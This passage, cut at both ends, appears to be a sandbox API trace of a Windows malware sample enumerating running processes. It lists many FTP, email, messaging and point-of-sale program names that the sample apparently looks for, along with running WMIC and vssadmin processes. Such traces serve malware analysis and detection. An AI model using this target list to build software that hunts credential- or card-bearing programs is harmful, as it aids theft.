lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="plugins.exe")) returned 1 [0037.747] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="constructedstartedsince.exe")) returned 1 [0037.747] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick.exe")) returned 1 [0037.748] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="deadline_supervisors.exe")) returned 1 [0037.748] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tackle threatened banks.exe")) returned 1 [0037.749] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gsmfloristnumerous.exe")) returned 1 [0037.749] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="separately correspondence.exe")) returned 1 [0037.749] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="twin istanbul.exe")) returned 1 [0037.750] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="consciousness.exe")) returned 1 [0037.750] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0037.751] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0037.751] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0037.752] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0037.752] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0037.753] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0037.753] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0037.754] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0037.754] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0037.755] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0037.755] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0037.756] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0037.756] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0037.756] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0037.757] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0037.758] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0037.758] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0037.759] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0037.760] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0037.761] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0037.761] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0037.762] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0037.763] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0037.764] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0037.764] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0037.765] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0037.766] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0037.766] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0037.767] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0037.768] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0037.768] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0037.769] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0037.770] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0037.810] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0037.811] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0037.811] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0037.812] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0037.813] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0037.813] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0037.814] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0037.815] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0037.815] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0037.816] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0037.816] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0037.817] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mostlyarticle.exe")) returned 1 [0037.818] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="stunninghoursconverter.exe")) returned 1 [0037.818] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="serial.exe")) returned 1 [0037.819] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignments.exe")) returned 1 [0037.819] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.820] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0037.820] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb84, pcPriClassBase=8, dwFlags=0x0, szExeFile="osk.exe")) returned 1 [0037.821] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0037.822] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0037.822] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0037.823] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0037.823] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x898, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0037.824] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x90c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0037.824] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0037.825] Process32Next (in: hSnapshot=0x16c, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0037.825] GlobalLock (hMem=0x44000c) returned 0x54c960 [0037.825] GlobalHandle (pMem=0x54c960) returned 0x44000c [0037.825] GlobalUnlock (hMem=0x44000c) returned 0 [0037.825] GlobalLock (hMem=0x44000c) returned 0x54c960 [0037.825] GlobalLock (hMem=0x440004) returned 0x51f100 [0037.825] GlobalHandle (pMem=0x54c960) returned 0x44000c [0037.825] GlobalUnlock (hMem=0x44000c) returned 0 [0037.825] GlobalHandle (pMem=0x51f100) returned 0x440004 [0037.825] GlobalUnlock (hMem=0x440004) returned 0 [0037.825] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0037.829] Process32First (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0037.829] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0037.830] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0037.830] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.830] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0037.831] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0037.831] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0037.832] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0037.832] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0037.833] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0037.833] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.834] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.834] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.835] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0037.835] Process32Next (in: hSnapshot=0x178, lppe=0x18fcbc | out: lppe=0x18fcbc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, 